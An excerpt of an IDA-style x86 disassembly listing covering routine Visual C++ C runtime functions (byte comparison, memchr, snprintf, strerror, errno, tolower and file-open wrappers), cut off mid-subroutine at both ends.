movzx esi, dl
movzx edx, byte ptr [ecx-17h]
sub esi, edx
jz short loc_40F0EC
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40F0EC: ; CODE XREF: sub_40DED2+1203j
movzx esi, byte ptr [eax-16h]
movzx edx, byte ptr [ecx-16h]
sub esi, edx
jz short loc_40F10D
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40F10D: ; CODE XREF: sub_40DED2+1224j
movzx esi, byte ptr [eax-15h]
movzx edx, byte ptr [ecx-15h]
sub esi, edx
jz short loc_40F12E
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40F12E: ; CODE XREF: sub_40DED2+1245j
movzx esi, byte ptr [eax-14h]
movzx edx, byte ptr [ecx-14h]
sub esi, edx
jz short loc_40F14B
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40F14B
; ---------------------------------------------------------------------------
loc_40F149: ; CODE XREF: sub_40DED2+11F8j
xor esi, esi
loc_40F14B: ; CODE XREF: sub_40DED2+1266j
; sub_40DED2+1275j
test esi, esi
jnz loc_40E39E
loc_40F153: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-13h] ; jumptable 0040E397 case 19
cmp edx, [ecx-13h]
jz short loc_40F1D8
movzx esi, dl
movzx edx, byte ptr [ecx-13h]
sub esi, edx
jz short loc_40F17B
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40F17B: ; CODE XREF: sub_40DED2+1292j
movzx esi, byte ptr [eax-12h]
movzx edx, byte ptr [ecx-12h]
sub esi, edx
jz short loc_40F19C
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40F19C: ; CODE XREF: sub_40DED2+12B3j
movzx esi, byte ptr [eax-11h]
movzx edx, byte ptr [ecx-11h]
sub esi, edx
jz short loc_40F1BD
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40F1BD: ; CODE XREF: sub_40DED2+12D4j
movzx esi, byte ptr [eax-10h]
movzx edx, byte ptr [ecx-10h]
sub esi, edx
jz short loc_40F1DA
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40F1DA
; ---------------------------------------------------------------------------
loc_40F1D8: ; CODE XREF: sub_40DED2+1287j
xor esi, esi
loc_40F1DA: ; CODE XREF: sub_40DED2+12F5j
; sub_40DED2+1304j
test esi, esi
jnz loc_40E39E
loc_40F1E2: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-0Fh] ; jumptable 0040E397 case 15
cmp edx, [ecx-0Fh]
jz short loc_40F268
movzx edx, byte ptr [ecx-0Fh]
movzx esi, byte ptr [eax-0Fh]
sub esi, edx
jz short loc_40F20B
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40F20B: ; CODE XREF: sub_40DED2+1322j
movzx esi, byte ptr [eax-0Eh]
movzx edx, byte ptr [ecx-0Eh]
sub esi, edx
jz short loc_40F22C
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40F22C: ; CODE XREF: sub_40DED2+1343j
movzx esi, byte ptr [eax-0Dh]
movzx edx, byte ptr [ecx-0Dh]
sub esi, edx
jz short loc_40F24D
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40F24D: ; CODE XREF: sub_40DED2+1364j
movzx esi, byte ptr [eax-0Ch]
movzx edx, byte ptr [ecx-0Ch]
sub esi, edx
jz short loc_40F26A
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40F26A
; ---------------------------------------------------------------------------
loc_40F268: ; CODE XREF: sub_40DED2+1316j
xor esi, esi
loc_40F26A: ; CODE XREF: sub_40DED2+1385j
; sub_40DED2+1394j
test esi, esi
jnz loc_40E39E
loc_40F272: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-0Bh] ; jumptable 0040E397 case 11
cmp edx, [ecx-0Bh]
jz short loc_40F2F7
movzx esi, dl
movzx edx, byte ptr [ecx-0Bh]
sub esi, edx
jz short loc_40F29A
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40F29A: ; CODE XREF: sub_40DED2+13B1j
movzx esi, byte ptr [eax-0Ah]
movzx edx, byte ptr [ecx-0Ah]
sub esi, edx
jz short loc_40F2BB
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40F2BB: ; CODE XREF: sub_40DED2+13D2j
movzx esi, byte ptr [eax-9]
movzx edx, byte ptr [ecx-9]
sub esi, edx
jz short loc_40F2DC
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40F2DC: ; CODE XREF: sub_40DED2+13F3j
movzx esi, byte ptr [eax-8]
movzx edx, byte ptr [ecx-8]
sub esi, edx
jz short loc_40F2F9
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40F2F9
; ---------------------------------------------------------------------------
loc_40F2F7: ; CODE XREF: sub_40DED2+13A6j
xor esi, esi
loc_40F2F9: ; CODE XREF: sub_40DED2+1414j
; sub_40DED2+1423j
test esi, esi
jnz loc_40E39E
loc_40F301: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-7] ; jumptable 0040E397 case 7
cmp edx, [ecx-7]
jz short loc_40F386
movzx esi, dl
movzx edx, byte ptr [ecx-7]
sub esi, edx
jz short loc_40F329
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40F329: ; CODE XREF: sub_40DED2+1440j
movzx esi, byte ptr [eax-6]
movzx edx, byte ptr [ecx-6]
sub esi, edx
jz short loc_40F34A
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40F34A: ; CODE XREF: sub_40DED2+1461j
movzx esi, byte ptr [eax-5]
movzx edx, byte ptr [ecx-5]
sub esi, edx
jz short loc_40F36B
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40F36B: ; CODE XREF: sub_40DED2+1482j
movzx esi, byte ptr [eax-4]
movzx edx, byte ptr [ecx-4]
sub esi, edx
jz short loc_40F388
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40F388
; ---------------------------------------------------------------------------
loc_40F386: ; CODE XREF: sub_40DED2+1435j
xor esi, esi
loc_40F388: ; CODE XREF: sub_40DED2+14A3j
; sub_40DED2+14B2j
test esi, esi
jnz loc_40E39E
loc_40F390: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
movzx esi, byte ptr [eax-3] ; jumptable 0040E397 case 3
movzx edx, byte ptr [ecx-3]
sub esi, edx
jz loc_40EF7D
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
test edx, edx
jz loc_40EF7D
loc_40F3B3: ; CODE XREF: sub_40DED2+10C8j
mov eax, edx
jmp loc_40E773
; ---------------------------------------------------------------------------
loc_40F3BA: ; CODE XREF: sub_40DED2+29j
mov ecx, [ebp+arg_0]
mov esi, [ebp+arg_4]
movzx eax, byte ptr [ecx]
movzx edx, byte ptr [esi]
sub eax, edx
jz short loc_40F3DF
xor edx, edx
test eax, eax
setnle dl
lea edx, [edx+edx-1]
mov eax, edx
test eax, eax
jnz loc_40F4CC
loc_40F3DF: ; CODE XREF: sub_40DED2+14F6j
movzx eax, byte ptr [ecx+1]
movzx edx, byte ptr [esi+1]
sub eax, edx
jz short loc_40F400
xor edx, edx
test eax, eax
setnle dl
lea edx, [edx+edx-1]
mov eax, edx
test eax, eax
jnz loc_40F4CC
loc_40F400: ; CODE XREF: sub_40DED2+1517j
movzx eax, byte ptr [ecx+2]
movzx edx, byte ptr [esi+2]
sub eax, edx
jz short loc_40F421
xor edx, edx
test eax, eax
setnle dl
lea edx, [edx+edx-1]
mov eax, edx
test eax, eax
jnz loc_40F4CC
loc_40F421: ; CODE XREF: sub_40DED2+1538j
movzx eax, byte ptr [ecx+3]
movzx ecx, byte ptr [esi+3]
loc_40F429: ; CODE XREF: sub_40DED2+15B7j
; sub_40DED2+15E2j ...
sub eax, ecx
jz loc_40F4CC
xor ecx, ecx
test eax, eax
setnle cl
lea ecx, [ecx+ecx-1]
mov eax, ecx
jmp loc_40F4CC
; ---------------------------------------------------------------------------
loc_40F443: ; CODE XREF: sub_40DED2+22j
mov ecx, [ebp+arg_0]
mov esi, [ebp+arg_4]
movzx eax, byte ptr [ecx]
movzx edx, byte ptr [esi]
sub eax, edx
jz short loc_40F464
xor edx, edx
test eax, eax
setnle dl
lea edx, [edx+edx-1]
mov eax, edx
test eax, eax
jnz short loc_40F4CC
loc_40F464: ; CODE XREF: sub_40DED2+157Fj
movzx eax, byte ptr [ecx+1]
movzx edx, byte ptr [esi+1]
sub eax, edx
jz short loc_40F481
xor edx, edx
test eax, eax
setnle dl
lea edx, [edx+edx-1]
mov eax, edx
test eax, eax
jnz short loc_40F4CC
loc_40F481: ; CODE XREF: sub_40DED2+159Cj
movzx eax, byte ptr [ecx+2]
movzx ecx, byte ptr [esi+2]
jmp short loc_40F429
; ---------------------------------------------------------------------------
loc_40F48B: ; CODE XREF: sub_40DED2+1Bj
mov ecx, [ebp+arg_0]
mov esi, [ebp+arg_4]
movzx eax, byte ptr [ecx]
movzx edx, byte ptr [esi]
sub eax, edx
jz short loc_40F4AC
xor edx, edx
test eax, eax
setnle dl
lea edx, [edx+edx-1]
mov eax, edx
test eax, eax
jnz short loc_40F4CC
loc_40F4AC: ; CODE XREF: sub_40DED2+15C7j
movzx eax, byte ptr [ecx+1]
movzx ecx, byte ptr [esi+1]
jmp loc_40F429
; ---------------------------------------------------------------------------
loc_40F4B9: ; CODE XREF: sub_40DED2+14j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
movzx eax, byte ptr [eax]
movzx ecx, byte ptr [ecx]
jmp loc_40F429
; ---------------------------------------------------------------------------
loc_40F4CA: ; CODE XREF: sub_40DED2+Dj
xor eax, eax
loc_40F4CC: ; CODE XREF: sub_40DED2+8A2j
; sub_40DED2+1507j ...
pop edi
pop esi
pop ebp
retn
sub_40DED2 endp
; ---------------------------------------------------------------------------
db 8Bh, 0FFh
off_40F4D2 dd offset loc_40E771 ; DATA XREF: sub_40DED2+4C5r
dd offset loc_40EB63 ; jump table for switch statement
dd offset loc_40EF6F
dd offset loc_40F390
dd offset loc_40E6F4
dd offset loc_40EAD4
dd offset loc_40EEE0
dd offset loc_40F301
dd offset loc_40E665
dd offset loc_40EA44
dd offset loc_40EE50
dd offset loc_40F272
dd offset loc_40E5D5
dd offset loc_40E9B5
dd offset loc_40EDC1
dd offset loc_40F1E2
dd offset loc_40E546
dd offset loc_40E926
dd offset loc_40ED32
dd offset loc_40F153
dd offset loc_40E4B7
dd offset loc_40E897
dd offset loc_40ECA3
dd offset loc_40F0C4
dd offset loc_40E428
dd offset loc_40E808
dd offset loc_40EC14
dd offset loc_40F035
dd offset loc_40E3A5
dd offset loc_40E779
dd offset loc_40EB85
dd offset loc_40EFA5
align 10h
; =============== S U B R O U T I N E =======================================
sub_40F560 proc near ; CODE XREF: sub_401E6B+6Bp
; sub_4094C5+55p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
push ebx
test eax, eax
jz short loc_40F5BB
mov edx, [esp+4+arg_0]
xor ebx, ebx
mov bl, [esp+4+arg_4]
test edx, 3
jz short loc_40F591
loc_40F57B: ; CODE XREF: sub_40F560+2Fj
mov cl, [edx]
add edx, 1
xor cl, bl
jz short loc_40F5F6
sub eax, 1
jz short loc_40F5BB
test edx, 3
jnz short loc_40F57B
loc_40F591: ; CODE XREF: sub_40F560+19j
sub eax, 4
jb short loc_40F5A8
push edi
mov edi, ebx
shl ebx, 8
add ebx, edi
mov edi, ebx
shl ebx, 10h
add ebx, edi
jmp short loc_40F5C2
; ---------------------------------------------------------------------------
loc_40F5A7: ; CODE XREF: sub_40F560+60j
pop edi
loc_40F5A8: ; CODE XREF: sub_40F560+34j
add eax, 4
jz short loc_40F5BB
loc_40F5AD: ; CODE XREF: sub_40F560+59j
mov cl, [edx]
add edx, 1
xor cl, bl
jz short loc_40F5F6
sub eax, 1
jnz short loc_40F5AD
loc_40F5BB: ; CODE XREF: sub_40F560+7j
; sub_40F560+27j ...
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40F5BD: ; CODE XREF: sub_40F560+7Bj
; sub_40F560+93j
sub eax, 4
jb short loc_40F5A7
loc_40F5C2: ; CODE XREF: sub_40F560+45j
mov ecx, [edx]
xor ecx, ebx
mov edi, 7EFEFEFFh
add edi, ecx
xor ecx, 0FFFFFFFFh
xor ecx, edi
add edx, 4
and ecx, 81010100h
jz short loc_40F5BD
mov ecx, [edx-4]
xor cl, bl
jz short loc_40F607
xor ch, bl
jz short loc_40F601
shr ecx, 10h
xor cl, bl
jz short loc_40F5FB
xor ch, bl
jz short loc_40F5F5
jmp short loc_40F5BD
; ---------------------------------------------------------------------------
loc_40F5F5: ; CODE XREF: sub_40F560+91j
pop edi
loc_40F5F6: ; CODE XREF: sub_40F560+22j
; sub_40F560+54j
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40F5FB: ; CODE XREF: sub_40F560+8Dj
lea eax, [edx-2]
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40F601: ; CODE XREF: sub_40F560+86j
lea eax, [edx-3]
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40F607: ; CODE XREF: sub_40F560+82j
lea eax, [edx-4]
pop edi
pop ebx
retn
sub_40F560 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F60D proc near ; CODE XREF: sub_40F6BE+12p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 20h
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
jnz short loc_40F63B
call sub_40F79E
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
or eax, 0FFFFFFFFh
jmp loc_40F6BB
; ---------------------------------------------------------------------------
loc_40F63B: ; CODE XREF: sub_40F60D+Cj
mov ecx, [ebp+arg_4]
cmp ecx, ebx
push esi
mov esi, [ebp+arg_0]
jz short loc_40F667
cmp esi, ebx
jnz short loc_40F667
call sub_40F79E
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
or eax, 0FFFFFFFFh
jmp short loc_40F6BA
; ---------------------------------------------------------------------------
loc_40F667: ; CODE XREF: sub_40F60D+37j
; sub_40F60D+3Bj
mov eax, 7FFFFFFFh
cmp ecx, eax
mov [ebp+var_1C], eax
ja short loc_40F676
mov [ebp+var_1C], ecx
loc_40F676: ; CODE XREF: sub_40F60D+64j
push edi
push [ebp+arg_10]
lea eax, [ebp+var_20]
push [ebp+arg_C]
mov [ebp+var_14], 42h
push [ebp+arg_8]
mov [ebp+var_18], esi
push eax
mov [ebp+var_20], esi
call sub_4113BB
add esp, 10h
cmp esi, ebx
mov edi, eax
jz short loc_40F6B9
dec [ebp+var_1C]
js short loc_40F6AB
mov eax, [ebp+var_20]
mov [eax], bl
jmp short loc_40F6B7
; ---------------------------------------------------------------------------
loc_40F6AB: ; CODE XREF: sub_40F60D+95j
lea eax, [ebp+var_20]
push eax
push ebx
call sub_4111BA
pop ecx
pop ecx
loc_40F6B7: ; CODE XREF: sub_40F60D+9Cj
mov eax, edi
loc_40F6B9: ; CODE XREF: sub_40F60D+90j
pop edi
loc_40F6BA: ; CODE XREF: sub_40F60D+58j
pop esi
loc_40F6BB: ; CODE XREF: sub_40F60D+29j
pop ebx
leave
retn
sub_40F60D endp
; =============== S U B R O U T I N E =======================================
sub_40F6BE proc near ; CODE XREF: sub_401989+4Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
push 0
push [esp+8+arg_8]
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_40F60D
add esp, 14h
retn
sub_40F6BE endp
; =============== S U B R O U T I N E =======================================
sub_40F6D9 proc near ; CODE XREF: sub_40F6FC+40p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jl short loc_40F6EB
call sub_412B34
cmp esi, [eax]
jl short loc_40F6F2
loc_40F6EB: ; CODE XREF: sub_40F6D9+7j
call sub_412B34
mov esi, [eax]
loc_40F6F2: ; CODE XREF: sub_40F6D9+10j
call sub_412B3A
mov eax, [eax+esi*4]
pop esi
retn
sub_40F6D9 endp
; =============== S U B R O U T I N E =======================================
sub_40F6FC proc near ; CODE XREF: sub_40460B+CAp
; sub_40499E+8Cp
arg_0 = dword ptr 4
push ebx
push esi
call sub_411F7A
mov esi, eax
xor ebx, ebx
cmp esi, ebx
jnz short loc_40F712
mov eax, offset aVisualCCrtNotE ; "Visual C++ CRT: Not enough memory to co"...
jmp short loc_40F760
; ---------------------------------------------------------------------------
loc_40F712: ; CODE XREF: sub_40F6FC+Dj
cmp [esi+24h], ebx
push edi
mov edi, 86h
jnz short loc_40F735
push 1
push edi
call sub_412363
cmp eax, ebx
pop ecx
pop ecx
mov [esi+24h], eax
jnz short loc_40F735
mov eax, offset aVisualCCrtNotE ; "Visual C++ CRT: Not enough memory to co"...
jmp short loc_40F75F
; ---------------------------------------------------------------------------
loc_40F735: ; CODE XREF: sub_40F6FC+1Fj
; sub_40F6FC+30j
push [esp+0Ch+arg_0]
mov esi, [esi+24h]
call sub_40F6D9
push eax
push edi
push esi
call sub_410FB5
add esp, 10h
test eax, eax
jz short loc_40F75D
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40DBDC
add esp, 14h
loc_40F75D: ; CODE XREF: sub_40F6FC+52j
mov eax, esi
loc_40F75F: ; CODE XREF: sub_40F6FC+37j
pop edi
loc_40F760: ; CODE XREF: sub_40F6FC+14j
pop esi
pop ebx
retn
sub_40F6FC endp
; =============== S U B R O U T I N E =======================================
sub_40F763 proc near ; CODE XREF: sub_40F7C4+Dp
; sub_41112C+80p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_40F769: ; CODE XREF: sub_40F763+13j
cmp eax, dword_423030[ecx*8]
jz short loc_40F784
inc ecx
cmp ecx, 2Dh
jl short loc_40F769
lea ecx, [eax-13h]
cmp ecx, 11h
ja short loc_40F78C
push 0Dh
pop eax
retn
; ---------------------------------------------------------------------------
loc_40F784: ; CODE XREF: sub_40F763+Dj
mov eax, dword_423034[ecx*8]
retn
; ---------------------------------------------------------------------------
loc_40F78C: ; CODE XREF: sub_40F763+1Bj
add eax, 0FFFFFF44h
push 0Eh
pop ecx
cmp ecx, eax
sbb eax, eax
and eax, ecx
add eax, 8
retn
sub_40F763 endp
; =============== S U B R O U T I N E =======================================
sub_40F79E proc near ; CODE XREF: sub_40460B+BAp
; sub_40460B+C1p ...
call sub_411F7A
test eax, eax
jnz short loc_40F7AD
mov eax, offset dword_423198
retn
; ---------------------------------------------------------------------------
loc_40F7AD: ; CODE XREF: sub_40F79E+7j
add eax, 8
retn
sub_40F79E endp
; =============== S U B R O U T I N E =======================================
sub_40F7B1 proc near ; CODE XREF: sub_40F7C4+1p
; sub_41440F+40p ...
call sub_411F7A
test eax, eax
jnz short loc_40F7C0
mov eax, offset dword_42319C
retn
; ---------------------------------------------------------------------------
loc_40F7C0: ; CODE XREF: sub_40F7B1+7j
add eax, 0Ch
retn
sub_40F7B1 endp
; =============== S U B R O U T I N E =======================================
sub_40F7C4 proc near ; CODE XREF: sub_4104BF+A1p
; sub_41440F+577p ...
arg_0 = dword ptr 4
push esi
call sub_40F7B1
mov ecx, [esp+4+arg_0]
push ecx
mov [eax], ecx
call sub_40F763
pop ecx
mov esi, eax
call sub_40F79E
mov [eax], esi
pop esi
retn
sub_40F7C4 endp
; =============== S U B R O U T I N E =======================================
sub_40F7E2 proc near ; CODE XREF: sub_40F864+Ep
; sub_40FF38+Cp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
push esi
mov esi, ecx
mov byte ptr [esi+0Ch], 0
jnz short loc_40F854
call sub_411FFD
mov [esi+8], eax
mov ecx, [eax+6Ch]
mov [esi], ecx
mov ecx, [eax+68h]
mov [esi+4], ecx
mov ecx, [esi]
cmp ecx, off_423890
jz short loc_40F820
mov ecx, dword_4237AC
test [eax+70h], ecx
jnz short loc_40F820
call sub_413512
mov [esi], eax
loc_40F820: ; CODE XREF: sub_40F7E2+2Aj
; sub_40F7E2+35j
mov eax, [esi+4]
cmp eax, dword_4236B0
jz short loc_40F841
mov eax, [esi+8]
mov ecx, dword_4237AC
test [eax+70h], ecx
jnz short loc_40F841
call sub_412E01
mov [esi+4], eax
loc_40F841: ; CODE XREF: sub_40F7E2+47j
; sub_40F7E2+55j
mov eax, [esi+8]
test byte ptr [eax+70h], 2
jnz short loc_40F85E
or dword ptr [eax+70h], 2
mov byte ptr [esi+0Ch], 1
jmp short loc_40F85E
; ---------------------------------------------------------------------------
loc_40F854: ; CODE XREF: sub_40F7E2+Dj
mov ecx, [eax]
mov [esi], ecx
mov eax, [eax+4]
mov [esi+4], eax
loc_40F85E: ; CODE XREF: sub_40F7E2+66j
; sub_40F7E2+70j
mov eax, esi
pop esi
retn 4
sub_40F7E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F864 proc near ; CODE XREF: sub_40F97B+1Fp
; sub_41A2A3+9Bp ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push [ebp+arg_4]
lea ecx, [ebp+var_18]
call sub_40F7E2
mov ebx, [ebp+arg_0]
mov esi, 100h
cmp ebx, esi
jnb short loc_40F8D7
mov ecx, [ebp+var_18]
cmp dword ptr [ecx+0ACh], 1
jle short loc_40F8A3
lea eax, [ebp+var_18]
push eax
push 1
push ebx
call sub_4139CC
mov ecx, [ebp+var_18]
add esp, 0Ch
jmp short loc_40F8B0
; ---------------------------------------------------------------------------
loc_40F8A3: ; CODE XREF: sub_40F864+29j
mov eax, [ecx+0C8h]
movzx eax, byte ptr [eax+ebx*2]
and eax, 1
loc_40F8B0: ; CODE XREF: sub_40F864+3Dj
test eax, eax
jz short loc_40F8C3
mov eax, [ecx+0CCh]
movzx eax, byte ptr [eax+ebx]
jmp loc_40F96A
; ---------------------------------------------------------------------------
loc_40F8C3: ; CODE XREF: sub_40F864+4Ej
; sub_40F864+EAj
cmp [ebp+var_C], 0
jz short loc_40F8D0
mov eax, [ebp+var_10]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_40F8D0: ; CODE XREF: sub_40F864+63j
mov eax, ebx
jmp loc_40F977
; ---------------------------------------------------------------------------
loc_40F8D7: ; CODE XREF: sub_40F864+1Dj
mov eax, [ebp+var_18]
cmp dword ptr [eax+0ACh], 1
jle short loc_40F914
mov [ebp+arg_0], ebx
sar [ebp+arg_0], 8
lea eax, [ebp+var_18]
push eax
mov eax, [ebp+arg_0]
and eax, 0FFh
push eax
call sub_413988
test eax, eax
pop ecx
pop ecx
jz short loc_40F914
mov al, byte ptr [ebp+arg_0]
push 2
mov [ebp+var_4], al
mov [ebp+var_3], bl
mov [ebp+var_2], 0
pop ecx
jmp short loc_40F929
; ---------------------------------------------------------------------------
loc_40F914: ; CODE XREF: sub_40F864+7Dj
; sub_40F864+9Cj
call sub_40F79E
mov dword ptr [eax], 2Ah
xor ecx, ecx
mov [ebp+var_4], bl
mov [ebp+var_3], 0
inc ecx
loc_40F929: ; CODE XREF: sub_40F864+AEj
mov eax, [ebp+var_18]
push 1
push dword ptr [eax+4]
lea edx, [ebp+var_8]
push 3
push edx
push ecx
lea ecx, [ebp+var_4]
push ecx
push esi
push dword ptr [eax+14h]
lea eax, [ebp+var_18]
push eax
call sub_413945
add esp, 24h
test eax, eax
jz loc_40F8C3
cmp eax, 1
jnz short loc_40F95F
movzx eax, [ebp+var_8]
jmp short loc_40F96A
; ---------------------------------------------------------------------------
loc_40F95F: ; CODE XREF: sub_40F864+F3j
movzx ecx, [ebp+var_7]
xor eax, eax
mov ah, [ebp+var_8]
or eax, ecx
loc_40F96A: ; CODE XREF: sub_40F864+5Aj
; sub_40F864+F9j
cmp [ebp+var_C], 0
jz short loc_40F977
mov ecx, [ebp+var_10]
and dword ptr [ecx+70h], 0FFFFFFFDh
loc_40F977: ; CODE XREF: sub_40F864+6Ej
; sub_40F864+10Aj
pop esi
pop ebx
leave
retn
sub_40F864 endp
; =============== S U B R O U T I N E =======================================
sub_40F97B proc near ; CODE XREF: sub_406A1C+3Cp
arg_0 = dword ptr 4
cmp dword_424424, 0
jnz short loc_40F994
mov eax, [esp+arg_0]
lea ecx, [eax-41h]
cmp ecx, 19h
ja short locret_40F9A1
add eax, 20h
retn
; ---------------------------------------------------------------------------
loc_40F994: ; CODE XREF: sub_40F97B+7j
push 0
push [esp+4+arg_0]
call sub_40F864
pop ecx
pop ecx
locret_40F9A1: ; CODE XREF: sub_40F97B+13j
retn
sub_40F97B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F9A2 proc near ; CODE XREF: sub_40FA66+Ap
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push 0Ch
push offset dword_41F8A0
call __SEH_prolog4
xor ebx, ebx
mov [ebp+var_1C], ebx
xor eax, eax
mov edi, [ebp+arg_0]
cmp edi, ebx
setnz al
cmp eax, ebx
jnz short loc_40F9DD
loc_40F9C1: ; CODE XREF: sub_40F9A2+47j
; sub_40F9A2+52j
call sub_40F79E
mov dword ptr [eax], 16h
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40DCD8
add esp, 14h
loc_40F9D9: ; CODE XREF: sub_40F9A2+6Bj
; sub_40F9A2+92j
xor eax, eax
jmp short loc_40FA56
; ---------------------------------------------------------------------------
loc_40F9DD: ; CODE XREF: sub_40F9A2+1Dj
xor eax, eax
mov esi, [ebp+arg_4]
cmp esi, ebx
setnz al
cmp eax, ebx
jz short loc_40F9C1
xor eax, eax
cmp [esi], bl
setnz al
cmp eax, ebx
jz short loc_40F9C1
call sub_413E9F
mov [ebp+arg_0], eax
cmp eax, ebx
jnz short loc_40FA0F
call sub_40F79E
mov dword ptr [eax], 18h
jmp short loc_40F9D9
; ---------------------------------------------------------------------------
loc_40FA0F: ; CODE XREF: sub_40F9A2+5Ej
mov [ebp+ms_exc.disabled], ebx
cmp [edi], bl
jnz short loc_40FA36
call sub_40F79E
mov dword ptr [eax], 16h
push 0FFFFFFFEh
lea eax, [ebp+ms_exc.prev_er]
push eax
push offset dword_4231C4
call sub_413FC8
add esp, 0Ch
jmp short loc_40F9D9
; ---------------------------------------------------------------------------
loc_40FA36: ; CODE XREF: sub_40F9A2+72j
push eax
push [ebp+arg_8]
push esi
push edi
call sub_413BFD
add esp, 10h
mov [ebp+var_1C], eax
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40FA5C
mov eax, [ebp+var_1C]
loc_40FA56: ; CODE XREF: sub_40F9A2+39j
call __SEH_epilog4
retn
sub_40F9A2 endp
; =============== S U B R O U T I N E =======================================
sub_40FA5C proc near ; CODE XREF: sub_40F9A2+ACp
; DATA XREF: .vty:0041F8B8o
push dword ptr [ebp+8]
call sub_413BAB
pop ecx
retn
sub_40FA5C endp
; =============== S U B R O U T I N E =======================================
sub_40FA66 proc near ; CODE XREF: sub_40460B+ACp
; sub_40499E+6Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40F9A2
add esp, 0Ch
retn
sub_40FA66 endp
; =============== S U B R O U T I N E =======================================
sub_40FA79 proc near ; CODE XREF: sub_4080EE+5Fp
; sub_40D748+Ap
arg_0 = dword ptr 4
call sub_411FFD
mov ecx, [esp+arg_0]
mov [eax+14h], ecx
retn
sub_40FA79 endp
; =============== S U B R O U T I N E =======================================
sub_40FA86 proc near ; CODE XREF: sub_4027E7+1Dp
